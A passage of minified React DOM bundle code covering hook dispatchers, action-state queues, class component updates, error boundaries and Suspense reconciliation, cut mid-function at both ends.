o={payload:a,action:e,next:null,isTransition:!0,status:`pending`,value:null,reason:null,listeners:[],then:function(e){o.listeners.push(e)}};E.T===null?o.isTransition=!1:n(!0),r(o),n=t.pending,n===null?(o.next=t.pending=o,Es(t,o)):(o.next=n.next,t.pending=n.next=o)}}function Es(e,t){var n=t.action,r=t.payload,i=e.state;if(t.isTransition){var a=E.T,o={};o.types=a===null?null:a.types,E.T=o;try{var s=n(i,r),c=E.S;c!==null&&c(o,s),Ds(e,t,s)}catch(n){ks(e,t,n)}finally{a!==null&&o.types!==null&&(a.types=o.types),E.T=a}}else try{a=n(i,r),Ds(e,t,a)}catch(n){ks(e,t,n)}}function Ds(e,t,n){typeof n==`object`&&n&&typeof n.then==`function`?n.then(function(n){Os(e,t,n)},function(n){return ks(e,t,n)}):Os(e,t,n)}function Os(e,t,n){t.status=`fulfilled`,t.value=n,As(t),e.state=n,t=e.pending,t!==null&&(n=t.next,n===t?e.pending=null:(n=n.next,t.next=n,Es(e,n)))}function ks(e,t,n){var r=e.pending;if(e.pending=null,r!==null){r=r.next;do t.status=`rejected`,t.reason=n,As(t),t=t.next;while(t!==r)}e.action=null}function As(e){e=e.listeners;for(var t=0;t<e.length;t++)(0,e[t])()}function js(e,t){return t}function Ms(e,t){if(R){var n=K.formState;if(n!==null){a:{var r=z;if(R){if(L){b:{for(var i=L,a=ca;i.nodeType!==8;){if(!a){i=null;break b}if(i=lm(i.nextSibling),i===null){i=null;break b}}a=i.data,i=a===`F!`||a===`F`?i:null}if(i){L=lm(i.nextSibling),r=i.data===`F!`;break a}}ua(r)}r=!1}r&&(t=n[0])}}return n=ss(),n.memoizedState=n.baseState=t,r={pending:null,lanes:0,dispatch:null,lastRenderedReducer:js,lastRenderedState:t},n.queue=r,n=uc.bind(null,z,r),r.dispatch=n,r=Cs(!1),a=fc.bind(null,z,!1,r.queue),r=ss(),i={state:t,dispatch:null,action:e,pending:null},r.queue=i,n=Ts.bind(null,z,i,a,n),i.dispatch=n,r.memoizedState=e,[t,n,!1]}function Ns(e){return Ps(cs(),B,e)}function Ps(e,t,n){if(t=hs(e,t,js)[0],e=ms(ps)[0],typeof t==`object`&&t&&typeof t.then==`function`)try{var r=us(t)}catch(e){throw e===Za?$a:e}else r=t;t=cs();var i=t.queue,a=i.dispatch;return n!==t.memoizedState&&(z.flags|=2048,Ls(9,{destroy:void 0},Fs.bind(null,i,n),null)),[r,a,e]}function Fs(e,t){e.action=t}function Is(e){var t=cs(),n=B;if(n!==null)return Ps(t,n,e);cs(),t=t.memoizedState,n=cs();var r=n.queue.dispatch;return n.memoizedState=e,[t,r,!1]}function Ls(e,t,n,r){return e={tag:e,create:n,deps:r,inst:t,next:null},t=z.updateQueue,t===null&&(t=ls(),z.updateQueue=t),n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function Rs(){return cs().memoizedState}function zs(e,t,n,r){var i=ss();z.flags|=e,i.memoizedState=Ls(1|t,{destroy:void 0},n,r===void 0?null:r)}function Bs(e,t,n,r){var i=cs();r=r===void 0?null:r;var a=i.memoizedState.inst;B!==null&&r!==null&&$o(r,B.memoizedState.deps)?i.memoizedState=Ls(t,a,n,r):(z.flags|=e,i.memoizedState=Ls(1|t,a,n,r))}function Vs(e,t){zs(8390656,8,e,t)}function Hs(e,t){Bs(2048,8,e,t)}function Us(e){z.flags|=4;var t=z.updateQueue;if(t===null)t=ls(),z.updateQueue=t,t.events=[e];else{var n=t.events;n===null?t.events=[e]:n.push(e)}}function Ws(e){var t=cs().memoizedState;return Us({ref:t,nextImpl:e}),function(){if(G&2)throw Error(i(440));return t.impl.apply(void 0,arguments)}}function Gs(e,t){return Bs(4,2,e,t)}function Ks(e,t){return Bs(4,4,e,t)}function qs(e,t){if(typeof t==`function`){e=e();var n=t(e);return function(){typeof n==`function`?n():t(null)}}if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function Js(e,t,n){n=n==null?null:n.concat([e]),Bs(4,4,qs.bind(null,t,e),n)}function Ys(){}function Xs(e,t){var n=cs();t=t===void 0?null:t;var r=n.memoizedState;return t!==null&&$o(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function Zs(e,t){var n=cs();t=t===void 0?null:t;var r=n.memoizedState;if(t!==null&&$o(t,r[1]))return r[0];if(r=e(),Jo){st(!0);try{e()}finally{st(!1)}}return n.memoizedState=[r,t],r}function Qs(e,t,n){return n===void 0||Wo&1073741824&&!(J&261930)?e.memoizedState=t:(e.memoizedState=n,e=Md(),z.lanes|=e,sd|=e,n)}function $s(e,t,n,r){return Wr(n,t)?n:Oo.current===null?!(Wo&106)||Wo&1073741824&&!(J&261930)?(Fc=!0,e.memoizedState=n):(e=Md(),z.lanes|=e,sd|=e,t):(e=Qs(e,n,r),Wr(e,t)||(Fc=!0),e)}function ec(e,t,n,r,i){var a=D.p;D.p=a!==0&&8>a?a:8;var o=E.T,s={};s.types=o===null?null:o.types,E.T=s,fc(e,!1,t,n);try{var c=i(),l=E.S;l!==null&&l(s,c),typeof c==`object`&&c&&typeof c.then==`function`?dc(e,t,Ga(c,r),jd(e)):dc(e,t,r,jd(e))}catch(n){dc(e,t,{then:function(){},status:`rejected`,reason:n},jd())}finally{D.p=a,o!==null&&s.types!==null&&(o.types=s.types),E.T=o}}function tc(){}function nc(e,t,n,r){if(e.tag!==5)throw Error(i(476));var a=rc(e).queue;ec(e,a,t,Te,n===null?tc:function(){return ic(e),n(r)})}function rc(e){var t=e.memoizedState;if(t!==null)return t;t={memoizedState:Te,baseState:Te,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ps,lastRenderedState:Te},next:null};var n={};return t.next={memoizedState:n,baseState:n,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ps,lastRenderedState:n},next:null},e.memoizedState=t,e=e.alternate,e!==null&&(e.memoizedState=t),t}function ic(e){var t=rc(e);t.next===null&&(t=e.alternate.memoizedState),dc(e,t.next.queue,{},jd())}function ac(){return Da(sh)}function oc(){return cs().memoizedState}function sc(){return cs().memoizedState}function cc(e){for(var t=e.return;t!==null;){switch(t.tag){case 24:case 3:var n=jd();e=yo(n);var r=bo(t,e,n);r!==null&&(Pd(r,t,n),xo(r,t,n)),t={cache:Pa()},e.payload=t;return}t=t.return}}function lc(e,t,n){var r=jd();n={lane:r,revertLane:0,gesture:null,action:n,hasEagerState:!1,eagerState:null,next:null},pc(e)?mc(t,n):(n=ki(e,t,n,r),n!==null&&(Pd(n,e,r),hc(n,t,r)))}function uc(e,t,n){dc(e,t,n,jd())}function dc(e,t,n,r){var i={lane:r,revertLane:0,gesture:null,action:n,hasEagerState:!1,eagerState:null,next:null};if(pc(e))mc(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,s=a(o,n);if(i.hasEagerState=!0,i.eagerState=s,Wr(s,o))return Oi(e,t,i,0),K===null&&Di(),!1}catch{}if(n=ki(e,t,i,r),n!==null)return Pd(n,e,r),hc(n,t,r),!0}return!1}function fc(e,t,n,r){if(r={lane:2,revertLane:Pf(),gesture:null,action:r,hasEagerState:!1,eagerState:null,next:null},pc(e)){if(t)throw Error(i(479))}else t=ki(e,n,r,2),t!==null&&Pd(t,e,2)}function pc(e){var t=e.alternate;return e===z||t!==null&&t===z}function mc(e,t){qo=Ko=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function hc(e,t,n){if(n&4194048){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Tt(e,n)}}var gc={readContext:Da,use:ds,useCallback:V,useContext:V,useEffect:V,useImperativeHandle:V,useLayoutEffect:V,useInsertionEffect:V,useMemo:V,useReducer:V,useRef:V,useState:V,useDebugValue:V,useDeferredValue:V,useTransition:V,useSyncExternalStore:V,useId:V,useHostTransitionStatus:V,useFormState:V,useActionState:V,useOptimistic:V,useMemoCache:V,useCacheRefresh:V,useEffectEvent:V},_c={readContext:Da,use:ds,useCallback:function(e,t){return ss().memoizedState=[e,t===void 0?null:t],e},useContext:Da,useEffect:Vs,useImperativeHandle:function(e,t,n){n=n==null?null:n.concat([e]),zs(4194308,4,qs.bind(null,t,e),n)},useLayoutEffect:function(e,t){return zs(4194308,4,e,t)},useInsertionEffect:function(e,t){zs(4,2,e,t)},useMemo:function(e,t){var n=ss();t=t===void 0?null:t;var r=e();if(Jo){st(!0);try{e()}finally{st(!1)}}return n.memoizedState=[r,t],r},useReducer:function(e,t,n){var r=ss();if(n!==void 0){var i=n(t);if(Jo){st(!0);try{n(t)}finally{st(!1)}}}else i=t;return r.memoizedState=r.baseState=i,e={pending:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:i},r.queue=e,e=e.dispatch=lc.bind(null,z,e),[r.memoizedState,e]},useRef:function(e){var t=ss();return e={current:e},t.memoizedState=e},useState:function(e){e=Cs(e);var t=e.queue,n=uc.bind(null,z,t);return t.dispatch=n,[e.memoizedState,n]},useDebugValue:Ys,useDeferredValue:function(e,t){return Qs(ss(),e,t)},useTransition:function(){var e=Cs(!1);return e=ec.bind(null,z,e.queue,!0,!1),ss().memoizedState=e,[!1,e]},useSyncExternalStore:function(e,t,n){var r=z,a=ss();if(R){if(n===void 0)throw Error(i(407));n=n()}else{if(n=t(),K===null)throw Error(i(349));J&127||vs(r,t,n)}a.memoizedState=n;var o={value:n,getSnapshot:t};return a.queue=o,Vs(bs.bind(null,r,o,e),[e]),r.flags|=2048,Ls(9,{destroy:void 0},ys.bind(null,r,o,n,t),null),n},useId:function(){var e=ss(),t=K.identifierPrefix;if(R){var n=ea,r=$i;n=(r&~(1<<32-ct(r)-1)).toString(32)+n,t=`_`+t+`R_`+n,n=Yo++,0<n&&(t+=`H`+n.toString(32)),t+=`_`}else n=Qo++,t=`_`+t+`r_`+n.toString(32)+`_`;return e.memoizedState=t},useHostTransitionStatus:ac,useFormState:Ms,useActionState:Ms,useOptimistic:function(e){var t=ss();t.memoizedState=t.baseState=e;var n={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return t.queue=n,t=fc.bind(null,z,!0,n),n.dispatch=t,[e,t]},useMemoCache:fs,useCacheRefresh:function(){return ss().memoizedState=cc.bind(null,z)},useEffectEvent:function(e){var t=ss(),n={impl:e};return t.memoizedState=n,function(){if(G&2)throw Error(i(440));return n.impl.apply(void 0,arguments)}}},vc={readContext:Da,use:ds,useCallback:Xs,useContext:Da,useEffect:Hs,useImperativeHandle:Js,useInsertionEffect:Gs,useLayoutEffect:Ks,useMemo:Zs,useReducer:ms,useRef:Rs,useState:function(){return ms(ps)},useDebugValue:Ys,useDeferredValue:function(e,t){return $s(cs(),B.memoizedState,e,t)},useTransition:function(){var e=ms(ps)[0],t=cs().memoizedState;return[typeof e==`boolean`?e:us(e),t]},useSyncExternalStore:_s,useId:oc,useHostTransitionStatus:ac,useFormState:Ns,useActionState:Ns,useOptimistic:function(e,t){return ws(cs(),B,e,t)},useMemoCache:fs,useCacheRefresh:sc,useEffectEvent:Ws},yc={readContext:Da,use:ds,useCallback:Xs,useContext:Da,useEffect:Hs,useImperativeHandle:Js,useInsertionEffect:Gs,useLayoutEffect:Ks,useMemo:Zs,useReducer:gs,useRef:Rs,useState:function(){return gs(ps)},useDebugValue:Ys,useDeferredValue:function(e,t){var n=cs();return B===null?Qs(n,e,t):$s(n,B.memoizedState,e,t)},useTransition:function(){var e=gs(ps)[0],t=cs().memoizedState;return[typeof e==`boolean`?e:us(e),t]},useSyncExternalStore:_s,useId:oc,useHostTransitionStatus:ac,useFormState:Is,useActionState:Is,useOptimistic:function(e,t){var n=cs();return B===null?(n.baseState=e,[e,n.queue.dispatch]):ws(n,B,e,t)},useMemoCache:fs,useCacheRefresh:sc,useEffectEvent:Ws};function bc(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:w({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var xc={enqueueSetState:function(e,t,n){e=e._reactInternals;var r=jd(),i=yo(r);i.payload=t,n!=null&&(i.callback=n),t=bo(e,i,r),t!==null&&(Pd(t,e,r),xo(t,e,r))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=jd(),i=yo(r);i.tag=1,i.payload=t,n!=null&&(i.callback=n),t=bo(e,i,r),t!==null&&(Pd(t,e,r),xo(t,e,r))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=jd(),r=yo(n);r.tag=2,t!=null&&(r.callback=t),t=bo(e,r,n),t!==null&&(Pd(t,e,n),xo(t,e,n))}};function Sc(e,t,n,r,i,a,o){return e=e.stateNode,typeof e.shouldComponentUpdate==`function`?e.shouldComponentUpdate(r,a,o):t.prototype&&t.prototype.isPureReactComponent?!Gr(n,r)||!Gr(i,a):!0}function Cc(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps==`function`&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps==`function`&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&xc.enqueueReplaceState(t,t.state,null)}function wc(e,t){var n=t;if(`ref`in t)for(var r in n={},t)r!==`ref`&&(n[r]=t[r]);if(e=e.defaultProps)for(var i in n===t&&(n=w({},n)),e)n[i]===void 0&&(n[i]=e[i]);return n}function Tc(e){Ci(e)}function Ec(e){console.error(e)}function Dc(e){Ci(e)}function Oc(e,t){try{var n=e.onUncaughtError;n(t.value,{componentStack:t.stack})}catch(e){setTimeout(function(){throw e})}}function kc(e,t,n){try{var r=e.onCaughtError;r(n.value,{componentStack:n.stack,errorBoundary:t.tag===1?t.stateNode:null})}catch(e){setTimeout(function(){throw e})}}function Ac(e,t,n){return n=yo(n),n.tag=3,n.payload={element:null},n.callback=function(){Oc(e,t)},n}function jc(e){return e=yo(e),e.tag=3,e}function Mc(e,t,n,r){var i=n.type.getDerivedStateFromError;if(typeof i==`function`){var a=r.value;e.payload=function(){return i(a)},e.callback=function(){kc(t,n,r)}}var o=n.stateNode;o!==null&&typeof o.componentDidCatch==`function`&&(e.callback=function(){kc(t,n,r),typeof i!=`function`&&(yd===null?yd=new Set([this]):yd.add(this));var e=r.stack;this.componentDidCatch(r.value,{componentStack:e===null?``:e})})}function Nc(e,t,n,r,a){if(n.flags|=32768,typeof r==`object`&&r&&typeof r.then==`function`){if(t=n.alternate,t!==null&&wa(t,n,a,!0),n=No.current,n!==null){switch(n.tag){case 31:case 13:case 19:return Po===null?Kd():n.alternate===null&&od===0&&(od=3),n.flags&=-257,n.flags|=65536,n.lanes=a,r===eo?n.flags|=16384:(t=n.updateQueue,t===null?n.updateQueue=new Set([r]):t.add(r),mf(e,r,a)),!1;case 22:return n.flags|=65536,r===eo?n.flags|=16384:(t=n.updateQueue,t===null?(t={transitions:null,markerInstances:null,retryQueue:new Set([r])},n.updateQueue=t):(n=t.retryQueue,n===null?t.retryQueue=new Set([r]):n.add(r)),mf(e,r,a)),!1}throw Error(i(435,n.tag))}return mf(e,r,a),Kd(),!1}if(R)return t=No.current,t===null?(r!==la&&(t=Error(i(423),{cause:r}),ga(Gi(t,n))),e=e.current.alternate,e.flags|=65536,a&=-a,e.lanes|=a,r=Gi(r,n),a=Ac(e.stateNode,r,a),So(e,a),od!==4&&(od=2)):(!(t.flags&65536)&&(t.flags|=256),t.flags|=65536,t.lanes=a,r!==la&&(e=Error(i(422),{cause:r}),ga(Gi(e,n)))),!1;var o=Error(i(520),{cause:r});if(o=Gi(o,n),fd===null?fd=[o]:fd.push(o),od!==4&&(od=2),t===null)return!0;r=Gi(r,n),n=t;do{switch(n.tag){case 3:return n.flags|=65536,e=a&-a,n.lanes|=e,e=Ac(n.stateNode,r,e),So(n,e),!1;case 1:if(t=n.type,o=n.stateNode,!(n.flags&128)&&(typeof t.getDerivedStateFromError==`function`||o!==null&&typeof o.componentDidCatch==`function`&&(yd===null||!yd.has(o))))return n.flags|=65536,a&=-a,n.lanes|=a,a=jc(a),Mc(a,e,n,r),So(n,a),!1;break;case 22:if(n.memoizedState!==null)return n.flags|=65536,!1}n=n.return}while(n!==null);return!1}var Pc=Error(i(461)),Fc=!1;function Ic(e,t,n,r){t.child=e===null?ho(t,null,n,r):mo(t,e.child,n,r)}function Lc(e,t,n,r,i){n=n.render;var a=t.ref;if(`ref`in r){var o={};for(var s in r)s!==`ref`&&(o[s]=r[s])}else o=r;return Ea(t),r=es(e,t,n,o,a,i),s=is(),e!==null&&!Fc?(as(e,t,i),dl(e,t,i)):(R&&s&&ra(t),t.flags|=1,Ic(e,t,r,i),t.child)}function Rc(e,t,n,r,i){if(e===null){var a=n.type;return typeof a==`function`&&!Ii(a)&&a.defaultProps===void 0&&n.compare===null?(t.tag=15,t.type=a,zc(e,t,a,r,i)):(e=zi(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(a=e.child,!fl(e,i)){var o=a.memoizedProps;if(n=n.compare,n=n===null?Gr:n,n(o,r)&&e.ref===t.ref)return dl(e,t,i)}return t.flags|=1,e=Li(a,r),e.ref=t.ref,e.return=t,t.child=e}function zc(e,t,n,r,i){if(e!==null){var a=e.memoizedProps;if(Gr(a,r)&&e.ref===t.ref){if(Fc=!1,t.pendingProps=r=a,fl(e,i))e.flags&131072&&(Fc=!0);else return t.lanes=e.lanes,dl(e,t,i)}}return qc(e,t,n,r,i)}function Bc(e,t,n,r){var i=r.children,a=e===null?null:e.memoizedState;if(e===null&&t.stateNode===null&&(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),r.mode===`hidden`){if(t.flags&128){if(a=a===null?n:a.baseLanes|n,e!==null){for(r=t.child=e.child,i=0;r!==null;)i=i|r.lanes|r.childLanes,r=r.sibling;r=i&~a}else r=0,t.child=null;return Hc(e,t,a,n,r)}if(n&536870912)t.memoizedState={baseLanes:0,cachePool:null},e!==null&&Ya(t,a===null?null:a.cachePool),a===null?jo():Ao(t,a),Lo(t);else return r=t.lanes=536870912,Hc(e,t,a===null?n:a.baseLanes|n,n,r)}else a===null?(e!==null&&Ya(t,null),jo(),Ro()):(Ya(t,a.cachePool),Ao(t,a),Ro(),t.memoizedState=null);return Ic(e,t,i,n),t.child}function Vc(e,t){return e!==null&&e.tag===22||t.stateNode!==null||(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),t.sibling}function Hc(e,t,n,r,i){var a=Ja();return a=a===null?null:{parent:Na._currentValue,pool:a},t.memoizedState={baseLanes:n,cachePool:a},e!==null&&Ya(t,null),jo(),Lo(t),e!==null&&wa(e,t,r,!0),t.childLanes=i,null}function Uc(e,t){return t=nl({mode:t.mode,children:t.children},e.mode),t.ref=e.ref,e.child=t,t.return=e,t}function Wc(e,t,n){return mo(t,e.child,null,n),e=Uc(t,t.pendingProps),e.flags|=2,zo(t),t.memoizedState=null,e}function Gc(e,t,n){var r=t.pendingProps,a=!!(t.flags&128);if(t.flags&=-129,e===null){if(R){if(r.mode===`hidden`)return e=Uc(t,r),t.lanes=536870912,e.memoizedState={baseLanes:0,cachePool:null},Vc(null,e);if(Io(t),(e=L)?(e=am(e,ca),e=e!==null&&e.data===`&`?e:null,e!==null&&(t.memoizedState={dehydrated:e,treeContext:Qi===null?null:{id:$i,overflow:ea},retryLane:536870912,hydrationErrors:null},n=Hi(e),n.return=t,t.child=n,oa=t,L=null)):e=null,e===null)throw ua(t);return t.lanes=536870912,null}return Uc(t,r)}var o=e.memoizedState;if(o!==null){var s=o.dehydrated;if(Io(t),a){if(t.flags&256)t.flags&=-257,t=Wc(e,t,n);else if(t.memoizedState!==null)t.child=e.child,t.flags|=128,t=null;else throw Error(i(558))}else if(Fc||wa(e,t,n,!1),a=(n&e.childLanes)!==0,Fc||a){if(Oo.current===null){if(r=K,r!==null&&(s=Et(r,n),s!==0&&s!==o.retryLane))throw o.retryLane=s,Ai(e,s),Pd(r,e,s),Pc;Kd()}t=Wc(e,t,n)}else e=o.treeContext,L=lm(s.nextSibling),oa=t,R=!0,sa=null,ca=!1,e!==null&&aa(t,e),t=Uc(t,r),t.flags|=134221824;return t}return e=Li(e.child,{mode:r.mode,children:r.children}),e.ref=t.ref,t.child=e,e.return=t,e}function Kc(e,t){var n=t.ref;if(n===null)e!==null&&e.ref!==null&&(t.flags|=4194816);else{if(typeof n!=`function`&&typeof n!=`object`)throw Error(i(284));(e===null||e.ref!==n)&&(t.flags|=4194816)}}function qc(e,t,n,r,i){return Ea(t),n=es(e,t,n,r,void 0,i),r=is(),e!==null&&!Fc?(as(e,t,i),dl(e,t,i)):(R&&r&&ra(t),t.flags|=1,Ic(e,t,n,i),t.child)}function Jc(e,t,n,r,i,a){return Ea(t),t.updateQueue=null,n=ns(t,r,n,i),ts(e),r=is(),e!==null&&!Fc?(as(e,t,a),dl(e,t,a)):(R&&r&&ra(t),t.flags|=1,Ic(e,t,n,a),t.child)}function Yc(e,t,n,r,i){if(Ea(t),t.stateNode===null){var a=Ni,o=n.contextType;typeof o==`object`&&o&&(a=Da(o)),a=new n(r,a),t.memoizedState=a.state!==null&&a.state!==void 0?a.state:null,a.updater=xc,t.stateNode=a,a._reactInternals=t,a=t.stateNode,a.props=r,a.state=t.memoizedState,a.refs={},_o(t),o=n.contextType,a.context=typeof o==`object`&&o?Da(o):Ni,a.state=t.memoizedState,o=n.getDerivedStateFromProps,typeof o==`function`&&(bc(t,n,o,r),a.state=t.memoizedState),typeof n.getDerivedStateFromProps==`function`||typeof a.getSnapshotBeforeUpdate==`function`||typeof a.UNSAFE_componentWillMount!=`function`&&typeof a.componentWillMount!=`function`||(o=a.state,typeof a.componentWillMount==`function`&&a.componentWillMount(),typeof a.UNSAFE_componentWillMount==`function`&&a.UNSAFE_componentWillMount(),o!==a.state&&xc.enqueueReplaceState(a,a.state,null),To(t,r,a,i),wo(),a.state=t.memoizedState),typeof a.componentDidMount==`function`&&(t.flags|=4194308),r=!0}else if(e===null){a=t.stateNode;var s=t.memoizedProps,c=wc(n,s);a.props=c;var l=a.context,u=n.contextType;o=Ni,typeof u==`object`&&u&&(o=Da(u));var d=n.getDerivedStateFromProps;u=typeof d==`function`||typeof a.getSnapshotBeforeUpdate==`function`,s=t.pendingProps!==s,u||typeof a.UNSAFE_componentWillReceiveProps!=`function`&&typeof a.componentWillReceiveProps!=`function`||(s||l!==o)&&Cc(t,a,r,o),go=!1;var f=t.memoizedState;a.state=f,To(t,r,a,i),wo(),l=t.memoizedState,s||f!==l||go?(typeof d==`function`&&(bc(t,n,d,r),l=t.memoizedState),(c=go||Sc(t,n,c,r,f,l,o))?(u||typeof a.UNSAFE_componentWillMount!=`function`&&typeof a.componentWillMount!=`function`||(typeof a.componentWillMount==`function`&&a.componentWillMount(),typeof a.UNSAFE_componentWillMount==`function`&&a.UNSAFE_componentWillMount()),typeof a.componentDidMount==`function`&&(t.flags|=4194308)):(typeof a.componentDidMount==`function`&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=l),a.props=r,a.state=l,a.context=o,r=c):(typeof a.componentDidMount==`function`&&(t.flags|=4194308),r=!1)}else{a=t.stateNode,vo(e,t),o=t.memoizedProps,u=wc(n,o),a.props=u,d=t.pendingProps,f=a.context,l=n.contextType,c=Ni,typeof l==`object`&&l&&(c=Da(l)),s=n.getDerivedStateFromProps,(l=typeof s==`function`||typeof a.getSnapshotBeforeUpdate==`function`)||typeof a.UNSAFE_componentWillReceiveProps!=`function`&&typeof a.componentWillReceiveProps!=`function`||(o!==d||f!==c)&&Cc(t,a,r,c),go=!1,f=t.memoizedState,a.state=f,To(t,r,a,i),wo();var p=t.memoizedState;o!==d||f!==p||go||e!==null&&e.dependencies!==null&&Ta(e.dependencies)?(typeof s==`function`&&(bc(t,n,s,r),p=t.memoizedState),(u=go||Sc(t,n,u,r,f,p,c)||e!==null&&e.dependencies!==null&&Ta(e.dependencies))?(l||typeof a.UNSAFE_componentWillUpdate!=`function`&&typeof a.componentWillUpdate!=`function`||(typeof a.componentWillUpdate==`function`&&a.componentWillUpdate(r,p,c),typeof a.UNSAFE_componentWillUpdate==`function`&&a.UNSAFE_componentWillUpdate(r,p,c)),typeof a.componentDidUpdate==`function`&&(t.flags|=4),typeof a.getSnapshotBeforeUpdate==`function`&&(t.flags|=1024)):(typeof a.componentDidUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof a.getSnapshotBeforeUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=p),a.props=r,a.state=p,a.context=c,r=u):(typeof a.componentDidUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof a.getSnapshotBeforeUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),r=!1)}return a=r,Kc(e,t),r=!!(t.flags&128),a||r?(a=t.stateNode,n=r&&typeof n.getDerivedStateFromError!=`function`?null:a.render(),t.flags|=1,e!==null&&r?(t.child=mo(t,e.child,null,i),t.child=mo(t,null,n,i)):Ic(e,t,n,i),t.memoizedState=a.state,e=t.child):e=dl(e,t,i),e}function Xc(e,t,n,r){return ma(),t.flags|=256,Ic(e,t,n,r),t.child}var Zc={dehydrated:null,treeContext:null,retryLane:0,hydrationErrors:null};function Qc(e){return{baseLanes:e,cachePool:Xa()}}function $c(e,t,n){return e=e===null?0:e.childLanes&~n,t&&(e|=ud),e}function el(e,t,n){var r=t.pendingProps,i=!1,a=!!(t.flags&128),o;if((o=a)||(o=e!==null&&e.memoizedState===null?!1:!!(Bo.current&2)),o&&(i=!0,t.flags&=-129),o=!!(t.flags&32),t.flags&=-33,e===null){if(R){if(i?Fo(t):Ro(),(e=L)?(e=am(e,ca),e=e!==null&&e.data!==`&`?e:null,e!==null&&(t.memoizedState={dehydrated:e,treeContext:Qi===null?null:{id:$i,overflow:ea},retryLane:536870912,hydrationErrors:null},n=Hi(e),n.return=t,t.child=n,oa=t,L=null)):e=null,e===null)throw ua(t);return t.lanes=sm(e)?32:536870912,null}return a=r.children,r=r.fallback,i?(Ro(),i=t.mode,a=nl({mode:`hidden`,children:a},i),r=Bi(r,i,n,null),a.return=t,r.return=t,a.sibling=r,t.child=a,r=t.child,r.memoizedState=Qc(n),r.childLanes=$c(e,o,n),t.memoizedState=Zc,Vc(null,r)):(Fo(t),tl(t,a))}var s=e.memoizedState;if(s!==null){var c=s.dehydrated;if(c!==null)return il(e,t,a,o,r,c,s,n)}return i?(Ro(),i=r.fallback,a=t.mode,s=e.child,c=s.sibling,r=Li(s,{mode:`hidden`,children:r.children}),r.subtreeFlags=s.subtreeFlags&1206910976,c===null?(i=Bi(i,a,n,null),i.flags|=2):i=Li(c,i),i.return=t,r.return=t,r.sibling=i,t.child=r,Vc(null,r),r=t.child,i=e.child.memoizedState,i===null?i=Qc(n):(a=i.cachePool,a===null?a=Xa():(s=Na._currentValue,a=a.parent===s?a:{parent:s,pool:s}),i={baseLanes:i.baseLanes|n,cachePool:a}),r.memoizedState=i,r.childLanes=$c(e,o,n),t.memoizedState=Zc,Vc(e.child,r)):(Fo(t),n=e.child,e=n.sibling,n=Li(n,{mode:`visible`,children:r.children}),n.return=t,n.sibling=null,e!==null&&(o=t.deletions,o===null?(t.deletions=[e],t.flags|=16):o.push(e)),t.child=n,t.memoizedState=null,n)}function tl(e,t){return t=nl({mode:`visible`,children:t},e.mode),t.return=e,e.child=t}function nl(e,t){return e=Fi(22,e,null,t),e.lanes=0,e}function rl(e,t,n){return mo(t,e.child,null,n),e=tl(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function il(e,t,n,r,a,o,s,c){if(n)return t.flags&256?(Fo(t),t.flags&=-257,rl(e,t,c)):t.memoizedState===null?(Ro(),o=a.fallback,s=t.mode,a=nl({mode:`visible`,children:a.children},s),o=Bi(o,s,c,null),o.flags|=2,a.return=t,o.return=t,a.sibling=o,t.child=a,mo(t,e.child,null,c),a=t.child,a.memoizedState=Qc(c),a.childLanes=$c(e,r,c),t.memoizedState=Zc,Vc(null,a)):(Ro(),t.child=e.child,t.flags|=128,null);if(Fo(t),sm(o)){if(r=o.nextSibling&&o.nextSibling.dataset,r)var l=r.dgst;return r=l,r!==``&&(a=Error(i(419)),a.stack=``,a.digest=r,ga({value:a,source:null,stack:null})),rl(e,t,c)}if(Fc||wa(e,t,c,!1),r=(c&e.childLanes)!==0,Fc||r){if(Oo.current!==null)return rl(e,t,c);if(r=K,r!==null&&(a=Et(r,c),a!==0&&a!==s.retryLane))throw s.retryLane=a,Ai(e,a),Pd(r,e,a),Pc;return om(o)||Kd(),rl(e,t,c)}return om(o)?(t.flags|=192,t.child=e.child,null):(e=s.treeContext,L=lm(o.nextSibling),oa=t,R=!0,sa=null,ca=!1,e!==null&&aa(t,e),t=tl(t,a.children),t.flags|=134221824,t)}function al(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),Sa(e.return,t,n)}function ol(e){for(var t=null;e!==null;){var n=e.alternate;n!==null&&Uo(n)===null&&(t=e),e=e.sibling}return t}function sl(e,t,n,r,i,a){var o=e.memoizedState;o===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:i,treeForkCount:a}:(o.isBackwards=t,o.rendering=null,o.renderingStartTime=0,o.last=r,o.tail=n,o.tailMode=i,o.treeForkCount=a)}function cl(e){var t=e.child;for(e.child=null;t!==null;){var n=t.sibling;t.sibling=e.child,e.child=t,t=n}}function ll(e,t,n){var r=t.pendingProps,i=r.revealOrder,a=r.tail;r=r.children;var o=Bo.current;if(t.flags&128)return Vo(t,o),null;var 